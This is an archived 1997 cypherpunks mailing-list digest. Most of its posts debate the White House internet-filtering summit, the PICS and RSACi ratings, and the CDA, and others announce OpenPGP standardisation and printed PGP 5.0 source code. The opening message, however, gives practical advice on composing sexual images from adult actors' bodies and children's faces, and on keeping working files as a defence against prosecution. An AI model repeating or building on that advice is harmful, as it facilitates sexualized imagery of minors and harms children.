In-Reply-To: <33CAC79B.6293@nwdtc.com>
Message-ID: <v03007813aff1f6fefe10@[207.94.249.49]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:25 AM -0700 7/15/97, Unprivileged user wrote:
>If "computer-simulated" images are legal, how can you tell that it is
>computer simulated?

Well, for a start, you can save evidence of the steps you took in making
the images.  If you are combining images (adult actors for the X stuff, and
children for the faces etc.) then save the original images and some of the
rejected intermediate images.  If you are drawing from scratch (e.g. using
paint and brush), save the sketches, and perhaps also photos of the
intermediate stages of the final image.

Given a rational legal system (Yea, I know), these steps should give a
complete defense against the charge that you abused children in making the
images.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 16 Jul 1997 10:06:10 +0800
To: cypherpunks@toad.com
Subject: Global Banking Docs
Message-ID: <1.5.4.32.19970716014905.006f00dc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



For those who may have missed it, the European Committee for 
Banking Standards offers its "Secure Banking Over The Internet," 
March, 1997. An abstract of the 62-page report which also 
evaluates global electronic security and cryptographic tools:

   This ECBS Technical Report shall provide a survey of current 
   and planned banking use of the Internet, investigate the
   security requirements for secure banking on the Internet, 
   provide a survey of the security-related protocols, services 
   and applications on the Internet, discuss other requirements 
   for global banking (e.g. banking secrecy, data privacy, export 
   issues), and provide an outlook on new banking applications and 
   services such as electronic cash.

It's available in PDF format (241K) at:

   http://www.r3.ch/standards/ecbs/papers/tr401sbi.pdf

A mirror of the report is at: 

   http://jya.com/tr401sbi.pdf

Note: Acrobat reader version 3.0 is required; version 2.1 cannot 
read the report.

----------

The FDIC has published today a request for comment on
its proposed international banking regulations which
combines and consolidates its current three regs:

   http://jya.com/fdic071597.txt  (231K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 13:22:17 +0800
To: cypherpunks@toad.com
Subject: Re: White House swaps stand and decides to invite ACLU after all
Message-ID: <Pine.GSO.3.95.970715220344.15222A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 15 Jul 1997 23:05:15 -0400
From: "Shabbir J. Safdar" <shabbir@vtw.org>
To: Declan McCullagh <declan@well.com>, fight-censorship@vorlon.mit.edu
Cc: barrys@aclu.org, beeson@aclu.org, privaclu@aol.com
Subject: Re: White House swaps stand and decides to invite ACLU after all

Some obvious problems with this bit:

At 3:28 PM -0700 7/15/97, Declan McCullagh wrote:
>[Two hours after the ACLU issued this press release and journalists
>started to call, the White House reversed its stand. Now it says the ACLU
>is permitted to come to the meeting tomorrow after all. --Declan]

I know people who received their invites late this afternoon, so it's not
obvious that the ACLU wasn't invited, just that they got their invitation
later than everyone else.

>From aclu press release:
>"The Court's decision was clearly written to protect individual online
>users," said the ACLU's Haines.  "They, not industry giants, are the people
>the ACLU represents, and they are the people who are being denied a voice in
>this meeting."

As a hard working member of the net civil liberties community I find it
inappropriate that the ACLU assumes that even though other civil liberties
folks will be there, including myself, that we don't represent Internet
users.  I don't think any of us has the right to say who solely represents
the Internet community.  To say that even though VTW and CDT and ALA and
others will be there, that the net community is still not represented is
pretty out of line.

And though I'm not defending the fact the White House's actions, I wonder
if it occurs to anyone that the reason they were left until last is because
when the White House started moving away (in the Magaziner paper) from the
CDA the week before the SC decision, the ACLU dissed them in the press.

Perhaps the reaction to that shouldn't have been to trash them in the
press, but to say encouraging things while saying "Actions will speak
louder than anything".  It's not as if the White House can't modify their
position on this issue, they've moved around on others before.  Shouldn't
we make that work for us for once?

To diss them, regardless of what they do, violates the "carrot and stick"
principle of politics.  If they say stuff we agree with, like "no
legislation please" and then we diss them, why will they bother to stick up
for the net anymore?

-S









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 13:57:30 +0800
To: cypherpunks@toad.com
Subject: The Big Sellout
Message-ID: <Pine.GSO.3.95.970715221302.15222E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 15 Jul 1997 22:35:21 -0400
From: Michael Sims <jellicle@inch.com>
To: fight-censorship@vorlon.mit.edu
Cc: jberman@cdt.org, jseiger@cdt.org
Subject: The Big Sellout

So CDT, a few questions:

1)  "The Center for Democracy and Technology, meanwhile, is
supposed to debut a Web page that would give parents information on
how and where to get free smut-screening software, Berman said."

Did ya really?  Smut-screening software?

2)  Do you feel that mandatory voluntary net ratings are an 
improvement over the CDA?  If so, why?

3)  Does the statement by the National PTA, a censorious group if
ever there was one, that they favor "voluntary" action give you any
pause?  That is, if your two organizations are on the same side
here, do you ever wonder if these actions are achieving your goals
or theirs?



-- Michael Sims







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Del Torto <ddt@pgp.com>
Date: Wed, 16 Jul 1997 13:43:36 +0800
To: Cypherpunks <cryptography@c2.net>
Subject: [ANNOUNCE] IETF "OpenPGP" Standard thread beginning
Message-ID: <v04000833aff1577f84dd@[205.180.136.26]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Greetings,

The OpenPGP standard discussion is now on the IETF Standards track through the courtesy of the Internet Mail Consortium.

The first event will be an OpenPGP BOF (Birds of a Feather) discussion at the Munich IETF meeting in August 97 (see www.ietf.org) to determine what interested parties want to have included/supported in the OpenPGP standard.

Meanwhile, the IETF OPEN-PGP mailing list is being hosted by the IMC for the IETF. The list mechanism is currently accepting subscriptions, but the list itself will not be active for posting for a few more days (notifications will be made to subscribers when it is active). If you'd like to sign up for the IETF's OpenPGP mailing list now, please send email as follows:

     To: ietf-open-pgp-request@imc.org
   Body: subscribe

 (If your mailer/etc supports "hot" links, just double-click this URL:
  <mailto:ietf-open-pgp-request@imc.org?body=subscribe>)

For related materials, including the archive of the OpenPGP mailing list, please see the IMC website at: <http://www.imc.org/ietf-open-pgp/>.
For information on PGP Inc's involvement with this standards activity, please contact Charles Breed <cbreed@pgp.com> or myself.

   dave

__________________________________________________________________________
 Dave Del Torto      tel: +1.415.596.1781        Pretty Good Privacy, Inc
                                                555 Twin Dolphin Dr. #570
  ddt@pgp.com        fax: +1.415.631.1033         Redwood Shores CA 94065
  engineering        key: see X-PGP header        web: http://www.pgp.com


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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hAj9CjRUeJJ3T5WuoT/9kHScYl1FfwYXF82tLcztNsDmYdjRYylFQ1uiaIeDRMUU
tBZyi7+NkyHIpd6trFqGDd4F61mb/nxOZQvx7t7XJLHo0pATdflL1OwGEUOAD1jw
Xz+pwUc+QhE=
=9Igf
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 16 Jul 1997 14:44:58 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: The Big Sellout
In-Reply-To: <Pine.LNX.3.95.970716010735.7565A-100000@vorlon.mit.edu>
Message-ID: <3.0.2.32.19970715230342.006f15a8@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:07 AM 7/16/97 -0400, Declan McCullagh wrote:
>For instance, Netscape Communications is expected to announce it will
>back a software standard that allows people, using a Web browser,
>either to block or select certain Web sites based on their electronic
>labels, said industry and government sources, speaking on condition of
>anonymity.

Should such a system ever see widespread use, which I doubt, I only be a
matter of days before somebody puts up pages featuring gratuitous violence,
hard-core pornography, "how to kill your parents using common household
chemicals", and pages of similar nature. At which point we will quickly
discover just how "voluntary" this "voluntary standard" is.

Sure the CDA was struck down by the Supreme Court. Would a law prohibiting
"mislabeling" of websites be struck down as well? I doubt it.



--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 16 Jul 1997 08:34:32 +0800
To: cypherpunks@toad.com
Subject: [FC97] Anonymous Networking?
Message-ID: <19970715232105.14329.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Can someone summarize McCoy's `Anonymous Networking and Virtual Intranets'
from FC97 plz?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 14:58:39 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: The Big Sellout
In-Reply-To: <3.0.2.32.19970715230342.006f15a8@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970715233716.9149D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



I spoke to Netscape earlier today. The company previously had announced it
would support PICS in a future version of Navigator. Now it's pledging to
support PICS in the *next* version.

-Declan


On Tue, 15 Jul 1997, Lucky Green wrote:

> At 01:07 AM 7/16/97 -0400, Declan McCullagh wrote:
> >For instance, Netscape Communications is expected to announce it will
> >back a software standard that allows people, using a Web browser,
> >either to block or select certain Web sites based on their electronic
> >labels, said industry and government sources, speaking on condition of
> >anonymity.
> 
> Should such a system ever see widespread use, which I doubt, I only be a
> matter of days before somebody puts up pages featuring gratuitous violence,
> hard-core pornography, "how to kill your parents using common household
> chemicals", and pages of similar nature. At which point we will quickly
> discover just how "voluntary" this "voluntary standard" is.
> 
> Sure the CDA was struck down by the Supreme Court. Would a law prohibiting
> "mislabeling" of websites be struck down as well? I doubt it.
> 
> 
> 
> --Lucky Green <shamrock@netcom.com>
>   PGP encrypted mail preferred.
>   DES is dead! Please join in breaking RC5-56.
>   http://rc5.distributed.net/
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 16 Jul 1997 08:47:39 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970716002146.16645.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Wed, 16 Jul 1997 13:25:20 +0800
To: cypherpunks@toad.com
Subject: The Big Sellout
Message-ID: <Pine.LNX.3.95.970716010735.7565A-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 15 Jul 1997 22:25:50 -0400
From: Michael Sims <jellicle@inch.com>
To: fight-censorship@vorlon.mit.edu
Cc: jberman@cdt.org, jseiger@cdt.org
Subject: The Big Sellout

It's here.


http://www.cnn.com/TECH/9707/15/cybersmut.ap/index.html

Computer industry to announce anti-smut initiatives

July 15, 1997 Web posted at: 9:59 p.m. EDT (0159 GMT) 
[20 minutes ago.  I'm  quick, aren't I?]

WASHINGTON (AP) -- Hoping to avoid a V-chip for the Internet, the
computer industry will announce at the White House on Wednesday it
will provide greater access to anti-smut software and work to flag
Internet sites that are clean enough for kids. 

Weeks after the Supreme Court declared unconstitutional a law
designed to keep cyberspace's seedy side away from children, the White
House is urging the computer industry and parent's groups to take
such voluntary steps to make the Internet safe for youngsters. 

"We don't need to reinvent the wheel here and we don't need a V-chip
for the Internet. We have tools out there which are 100 percent
available," said Jerry Berman of the Center for Democracy and
Technology, a group that works to protect computer users' civil
liberties. They just need to be more widely used and understood, he
said. 

President Clinton and Vice President Al Gore, a computer enthusiast,
will host the private meeting Wednesday. About 30 to 40 people are
expected, including representatives from America Online, Netscape
Communications Corp., Microsoft Corp., Yahoo! Inc., the National
Parent Teacher Association, the American Library Association, makers
of screening technology and electronic civil liberties groups. 

The White House has said it wants a solution "as powerful for the
computer as the V-chip will be for the television that protects
children in ways that are consistent with America's free-speech
values." 

Instead of seeking new legislation to force the computer industry to
shield children from Internet smut, the Clinton administration is
pushing voluntary ideas. 

That's welcome news for the industry and electronic civil liberties
groups, which fought to overturn anti-smut provisions in the 1996
telecommunications law. 

"It's a very positive thing to try to come up with a constructive
alternative to legislation," said Andrew Schwartzman, president of
the Media Access Project, a nonprofit media watchdog group. 

No final industry-wide voluntary plan is expected to be announced
Wednesday, but some companies are expected to unveil plans. 

For instance, Netscape Communications is expected to announce it will
back a software standard that allows people, using a Web browser,
either to block or select certain Web sites based on their electronic
labels, said industry and government sources, speaking on condition of
anonymity. Netscape did not return a phone call for comment. 

Microsoft Corp.'s Explorer browser already uses the standard, dubbed
PICS, which can work with more than one labeling or ratings system.
Parents using a browser with the PICS technology could, for example,
call up Web sites designated to be "family friendly" or they could
block sites labeled as violent or sex-filled. 

The Center for Democracy and Technology, meanwhile, is supposed to
debut a Web page that would give parents information on how and
where to get free smut-screening software, Berman said. 

The center estimates all of the major providers of Internet access
to consumers offer screening technology for free or at a nominal
cost. Those providers cover 14 million households, and include AOL,
AT&T WorldNet, CompuServe, Prodigy and Erol's. 

The American Library Association is working on a broader effort. It
has compiled a listing of family friendly Web sites parents can
access separately or through its Web page, said spokeswoman Joyce
Kelly. The listing will be updated and expanded, she said. 

And Microsystems Software Inc., maker of Cyber Patrol, a widely used
screening software, is expected to unveil new technology to make it
easier for owners to label their Web sites, a company representative
said. 

"We're heartened that the industry is taking steps on its own," said
Patty Yoxall, spokeswoman for the National PTA. "We prefer voluntary
efforts over government intervention." 

White House officials, speaking on condition of anonymity, stressed
that in addition to the voluntary efforts for indecent or smutty
content, the government still will enforce vigorously provisions
making illegal any obscene materials carried on the Internet. 

The Supreme Court upheld that provision of the 1996 law on June 26,
even as it overturned provisions aimed at restricting children's
access to indecent online materials. 

Copyright 1997   The Associated Press. All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Goldberg <iang@cs.berkeley.edu>
Date: Wed, 16 Jul 1997 22:23:20 +0800
To: cypherpunks@cyberpass.net
Subject: PGP 5.0 source available (but not online yet)
Message-ID: <199707161413.HAA14531@cypherpunks.ca>
MIME-Version: 1.0
Content-Type: text/plain



I received a copy of the latest source (12 volumes) from a PGP, Inc. rep
at the July Bay Area Cypherpunks Open Meeting on US Soil (12 July on Stanford
campus).

You can order your own copies through Printers, Inc.:

  Printers, Inc.
  301 Castro St.
  Mountain View, CA. 94041
  (415) 961-8500
  <http://www.pibooks.com>

  PGP 5.0 Platform Independent Source Code
   Five Volumes, $94.00   ISBN 099649654-5-3

  PGP 5.0 Win95 Source Code
   Three Volumes, $57.00  ISBN 099649654-6-1

  PGP 5.0 Mac Source Code
   Four Volumes, $82.00   ISBN 099649654-7-X

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 23:00:25 +0800
To: cypherpunks@toad.com
Subject: The Censorware Summit: A Preview, from The Netly News
Message-ID: <Pine.GSO.3.95.970716074445.15247G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




******************

http://cgi.pathfinder.com/netly/opinion/0,1042,1173,00.html

The Netly News Network (http://netlynews.com)
July 16, 1997                        

The Censorware Summit
by Declan McCullagh (declan@well.com)
                                             
        SurfWatch's Jay Friedland still blushes when asked why his
   program once blocked part of the White House web site. Named
   "couples," the offending page triggered the hypersensitive software's
   dirty-word filter -- and amply illustrated the problems accompanying
   so-called "smut blocking" technology.

        Today, Friedland and more than a score of industry and nonprofit
   groups are visiting the White House to promote technical means of
   stopping Junior from visiting playboy.com. President Clinton is
   expected to endorse such measures over attempts to revive broad
   criminal laws like the ill-fated Communications Decency Act, which he
   supported. But this new approach suffers from all sorts of problems.

        For one, how do you winnow out material that's inappropriate for
   kids while avoiding embarassing missteps like the "couples" debacle?
   Certainly Friedland's firm can't hope to review the millions of web
   pages already online. Already spooked by a promised CDA II, the
   industry has offered an answer. High tech firms, taking a hint from
   the broadcasters, are seriously backing Internet rating systems for
   the first time.

        For instance, Netscape today will promise to join Microsoft and
   include the PICS ratings framework in the next version of its browser.
   Search engines such as Yahoo and Excite will announce they're
   supporting PICS to refine and limit searches, sources say. IBM will
   unveil a $100,000 grant to RSACi, a PICS-based rating standard
   originally designed for video games but adapted for the Web. The
   industry giant will also pledge to incorporate RSACi into future
   products.

        RSACi, which has been plagued by a number of serious flaws, works
   like this: You connect to its site and fill out a form self-rating
   your site for nudity, sex, violence and foul language. Then you take
   that tag, which might read something like "(n 0 s 0 v 0 l 0)" -- if
   your site is innocuous -- and slap it on your web page.

        But RSACi wasn't designed to classify news web sites. It's a
   video game rating system, and its coarse, clumsy categories -- from
   "creatures injured" to "wanton and gratuitous violence" -- are better
   suited to shrink-wrapped boxes of Doom than to the archives of
   msnbc.com. To comply with the system, MSNBC editors would need to
   review and rate each story -- which is why the site stopped using
   RSACi, The Netly News reported in March.  
   
        Stephen Balkam, the head of RSACi, now says he has a solution. He
   calls it RSACnews and says that legitimate news sites can use it to
   rate just their home pages without having to review each article. Now,
   what's a legitimate news site? The Netly News might qualify, but what
   about the NAMBLA News Journal? "People who generate firsthand reports
   that have been in some ways verified or structured in a way that gives
   clear and objective information as possible about events," Balkam
   says. "We will be working with the news industry to help us develop a
   criteria." (This, presumably, means groups that have signed on as
   supporters, including MSNBC, the Wall Street Journal, the Well, CNET 
   and Ziff-Davis. I'm told that the White House wants to qualify as a 
   "news site" -- even though the information there is rarely clear and
   certainly not objective.)

        Not surprisingly, civil libertarians are screaming bloody murder.
   They do have a point. After all, netizens are fresh from a stunning
   Supreme Court victory that firmly established that the Net should
   enjoy the same First Amendment protections as print publications.    
   Since magazines aren't forced to sport warning labels, why should the
   White House pressure online publications to do the same? And, more
   importantly, why should the industry give in instead of standing on  
   principle and resisting all attempts by the federal government to   
   muzzle online speech? 
   
        "Some businesses who make their money from people on the Net  
   appear far too eager to ignore the massive First Amendment protection
   the CDA decision gave cyberspeech -- and even more eager to adopt and
   impose on all of us the potential sinews of censorship: PICS and
   RSACi," says Don Haines, legislative counsel at the ACLU. (This     
   critical attitude may have been what spurred the White House to       
   disinvite the ACLU from today's summit, then hurriedly re-invite them
   after the ACLU put out a press release.)
   
        Of course, today's White House summit plays against the backdrop
   of a threat from a CDA II. Some members of Congress, such as Sen. Dan
   Coats (R-Ind.) have pledged to try again with more legislation. Yet
   others seem more willing to compromise. "The Supreme Court has shot
   down the option that I worked hard on," says Rep. Bob Goodlatte       
   (R-Va.), a staunch CDA supporter who will be at today's summit. "They
   said we can't go that route. I'm certainly interested in developing 
   other options. I want to put the burden on pornographers. One of the
   ways to do that is to have Congress pass legislation that would make
   it difficult for people to misrate their web site."

        Rep. Goodlatte is one of a half-dozen congresspeople who will 
   attend the noontime meeting, along with oppositional CDA forces such 
   as the American Library Association and the Electronic Frontier
   Foundation. Together they will witness the unveiling of          
   netparents.org, a joint effort of the Center for Democracy and
   Technology and the Voters Telecommunications Watch. The site allows
   parents to "find some family-friendly" censorware-enabled service
   providers in their area. A handy tool that we suspect will be used not
   only to find ISPs that provide blocking tools, but to find the ones
   that don't.
   
###






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 23:16:00 +0800
To: cypherpunks@toad.com
Subject: White House "kinder, gentler"-CDA/censor empowerment meeting
Message-ID: <Pine.GSO.3.95.970716080230.15247L-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 00:23:08 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: Seth Finkelstein <sethf@MIT.EDU>
Cc: jseiger@cdt.org, jberman@cdt.org, fight-censorship@vorlon.mit.edu
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting

Below we see an excellent example of the naivete inherent in
Net-libertarian and cypherpunk writing. Obviously the writer does not
understand the complexities and challenges of Washington politics. In many
ways, it is like sausage being made: disgusting to watch, but a process
that results in the compromises so vital in a healthy democracy.

Which is why it is inappropriate to criticize the White House's position
on the CDA. If you speak your mind aloud, you run the risk of being
marginalized like the ACLU. How can you serve your constituents then? 
Obviously, you can't. So I respectfully suggest that Mr. Finkelstein
disabuse himself of radical notions like opposing regulation of the
Internet.

I can only conclude that because Mr. Finkelstein does not live inside the
Beltway, we cannot expect him to realize that it is always necessary to
remain players in the game -- even if it means giving up fundamental
liberties in the process. 

-Declan


On Wed, 16 Jul 1997, Seth Finkelstein wrote:

> >> At 11:35 PM -0400 7/15/97, Michael Sims wrote:
> >>...But by lining up with those who intend to FORCE, by
> >>hook or crook, ratings on everyone, well, you're not sending the
> >>message I would think you would want to.
> 
> > From: Jonah Seiger <jseiger@cdt.org>
> > As far as I know, this is not what's happening and you are reacting to ghosts
> 
> 	"I am the ghost of RSACi past". Such as when it nearly became a
> contractual requirement for all ISP's in the United Kingdom last year.
> Of course they didn't *have* to join up, and they didn't have to not
> be raided as child pornographers either. Not a ghost, but a spectre.
> 
> > Like you, CDT will be watching what the President says tomorrow
> > very carefully and will have something to say once he has spoken.
> 
> 	I'm sure you will. And I'm also sure it's going to be along
> the lines of "Sign up to this program because it's not censorship and
> if you don't, the government will get you".
> 
> ================
> Seth Finkelstein
> sethf@mit.edu
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 23:38:26 +0800
To: cypherpunks@toad.com
Subject: SPA statement and RSAC release
Message-ID: <Pine.GSO.3.95.970716081725.15247P-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 08:17:19 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: SPA statement and RSAC release


Statement by Ken Wasch, President, Software Publishers Association

PR News Wire via Dow Jones

               White House Forum:  Children on the Internet  

  WASHINGTON, July 16 /PRNewswire/ -- The following is a statement by Ken Wasch,
President of the Software Publishers Association:  

  "The software industry recognizes -- and understands -- the legitimate
concerns of parents, educators, the President and Vice President, legislators
and other citizens about the content and suitability of many Internet sites for
our children.  We believe parents should have the opportunity, and readily
available tools, to monitor -- and block -- objectionable online content.

  "Today's White House Forum is an important step in highlighting this issue by
bringing together a diverse group of concerned organizations and individuals to
focus on what must be done.  SPA appreciates the invitation of the President and
the Vice President to represent the software industry at this forum.  However,
after we leave the White House, the responsibility of marrying freedom of speech
with these legitimate concerns falls on the shoulders of the software industry. 
The software industry develops the tools and products that, in turn, can put a
brown wrapper around objectionable material on the Internet.  Others may talk;
the software industry must act. 

  "Understanding its responsibility, the software industry several years ago
helped establish a process of self-regulation and content ratings through the
Recreational Software Advisory Council (RSAC).  Today, RSAC, through its
Internet ratings system -- RSACi -- has assigned objective content labels to
more than 35,000 online sites in just 12 months.  RSACi is now the world's
leading Internet content ratings system, empowering parents everywhere to block
online content they believe offensive.  It is important to keep in mind that
'Truth in Packaging' has nothing to do with suppression of content. RSACi is a
labeling system, not a system of censorship. 

  "At today's White House Forum, the success of RSACi as an effective, no-cost
tool for concerned parents was highlighted.  It is no coincidence that two of
this nation's largest corporations have committed to using the RSACi ratings
system in their online efforts.  SPA and the software industry congratulate
Disney -- with its strong family emphasis -- and IBM on their decisions to work
with RSAC.  We know others will join them.  Then RSACi will become the universal
ratings standard, allowing everyone everywhere to benefit from the exciting
world of the Internet, without the inhibition of state-imposed regulation or
censorship."  

  SPA is the leading trade association of the software industry, representing
1,200 leading publishers as well as start-up firms developing software
applications and tools for use on the desktop, the Internet, and client-server
networks.  


FOR IMMEDIATE RELEASE

RECREATIONAL SOFTWARE ADVISORY COUNCIL
WELCOMES IBM AS CORPORATE SPONSOR

IBM Supports RSAC Initiative to Provide Self-Regulation of Internet Content

Washington, D.C. -- July 16, 1997 - The Recreational Software Advisory Council
(RSAC) today announced that IBM has become a corporate sponsor of RSAC - the
non-profit organization committed to providing Internet users with detail
regarding web site content.  IBM is contributing $100,000 to RSAC, the
non-profit developer of RSACi, the voluntary, non-judgmental content labeling
software system that allows consumers and Webmasters to create customized
filters of online content.

"The astounding popularity and growth of the Internet has brought about its
greatest challenge -- controlling the flow of content that some feel is
inappropriate for children, students, or corporate staff.  RSAC's goal has never
been to restrict the act of free speech, but rather to allow free speech while
simultaneously empowering consumers to control the content to which they're
exposed," commented Stephen Balkam, executive director of RSAC.  "We're very
pleased to be working with IBM to continue our effort to make the Internet fun
and safe for everyone."

"Effective technology complements the efforts of parents and teachers in
monitoring children's' use of the Internet," said John Patrick, IBM's Vice
President, Internet technology.   "IBM is committed to providing parents and
educators with the tools to help children leverage the Internet appropriately. 
We are proud to be working with RSAC in creating an Internet environment that is
consistent with the interests of parents, teachers and children."

RSACi, or RSAC on the Internet, is the objective content-labeling advisory
system that is fully compliant with the World Wide Web consortium's industry
standard for web content rating, the Platform for Internet Content Selection
(PICS).  RSACi is a fully-automated system that relies on Webmasters to complete
a detailed questionnaire regarding the level, nature and intensity of the sex,
nudity, violence or offensive language (vulgar or hate-motivated) found within
their web site.  The responses given then generate rating tags that -- when
posted on the web site -- are read by not only popular browsers (such as
Microsoft's Internet Explorer), but by blocking system software (such as
MicroSystem's Cyber Patrol), allowing consumers to anticipate Internet content
and block any materials they deem inappropriate, or offensive.

To date, the RSACi content advisory system has been used to rate more than
35,000 web sites -- and it is anticipated that this number will grow to more
than 120,000 in the coming year.  "It's our opinion that the IBM sponsorship --
together with the recent formation of the International Ratings Working Group at
the Bonn Ministerial Conference -- will lead to a four-fold increase in rated
sites over the next calendar year," commented Stephen Balkam.

IBM has been a leader in developing and supporting standard content filtering
programs and technologies for years.  In addition to sponsoring RSAC, IBM
contributed to the development of PICS within the W3C earlier this year.  IBM
also ships NetVista, an Internet server designed for educational institutions
that helps teachers integrate the Web directly into the classroom while
filtering inappropriate content.

IBM, the world's largest software provider, creates, develops and manufactures
the industry's most advanced information technologies, including computer
systems, software, networking systems, storage devices and microelectronics. 
IBM offers complete information about the company, its products, services and
technology on the World Wide Web at http://www.ibm.com.  For more information
about IBM Software to go to the IBM Software home page at
http://www.software.ibm.com.

The Recreational Software Advisory Council is an independent, non-profit
organization based in Washington, D.C, that empowers the public, especially
parents, to make informed decisions about electronic media by means of an open,
objective, content advisory system.  The RSACi system provides consumers with
information about the level of sex, nudity, violence, offensive language (vulgar
or hate-motivated) in software games and Web sites.  To date, RSACi has been
integrated into Microsoft's browser, Internet Explorer, and MicroSystem's Cyber
Patrol Software.  CompuServe (US and Europe) has also committed to rate all
its content with the RSACi system.

More information on RSAC and the RSACi rating system is available at
http://www.rsac.org.
#   #   #






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 16 Jul 1997 21:38:26 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: CCTV Cameras in Britain (fwd)
Message-ID: <199707161318.IAA19917@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 16 Jul 1997 10:17:49 +0200 (MET DST)
> Subject: Re: CCTV Cameras in Britain
> From: nobody@REPLAY.COM (Anonymous)

>   Since an ounce of good marijuana costs $300.00 instead of merely
> $3.00, it is profitable to not abide by the law.

Don't know where you live but your street prices are about 300% too
high...

> TruthMonger

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 16 Jul 1997 23:02:03 +0800
To: cypherpunks@toad.com
Subject: Gee, *this* sounds familiar... (Was Re: ICONOCAST 15-Jul-97)
Message-ID: <v0311070eaff27d343e29@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Wed, 16 Jul 1997 08:40:50 -0400
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  Gee, *this* sounds familiar... (Was Re: ICONOCAST 15-Jul-97)

Microsoft and Cisco have discovered Micromoney Mitochondria, it seems...


Wanna bet the "physicist" is probably Mhyrvold?

Too bad they don't understand the distinction between book-entries and
bearer certificates...


Cheers,
Bob Hettinga





At 11:31 am -0400 on 7/15/97, Michael Tchong wrote:


>      I C O N O C A S T  b y  M i c h a e l  T c h o n g
>        -- more concentrated than the leading brand --
>                          15-Jul-97
<snip>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                         THE JACOBYTE
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> The French will never forget la Bastille. But Netizens seem
> to have forgotten Jaco. To prevent Jaco from breaking a long
> streak of insouciance and going on strike, French-style,
> send a juicy "petit truc" to jaco@iconocast.com.

<snip>

> <*> The Jacobyte also received a hot tip from a physicist.
> You know the type who does 20 quantum-mechanics push ups
> before breakfast. What caught the eye of this keen observer
> was the Microsoft-Cisco announcement. How's this for a
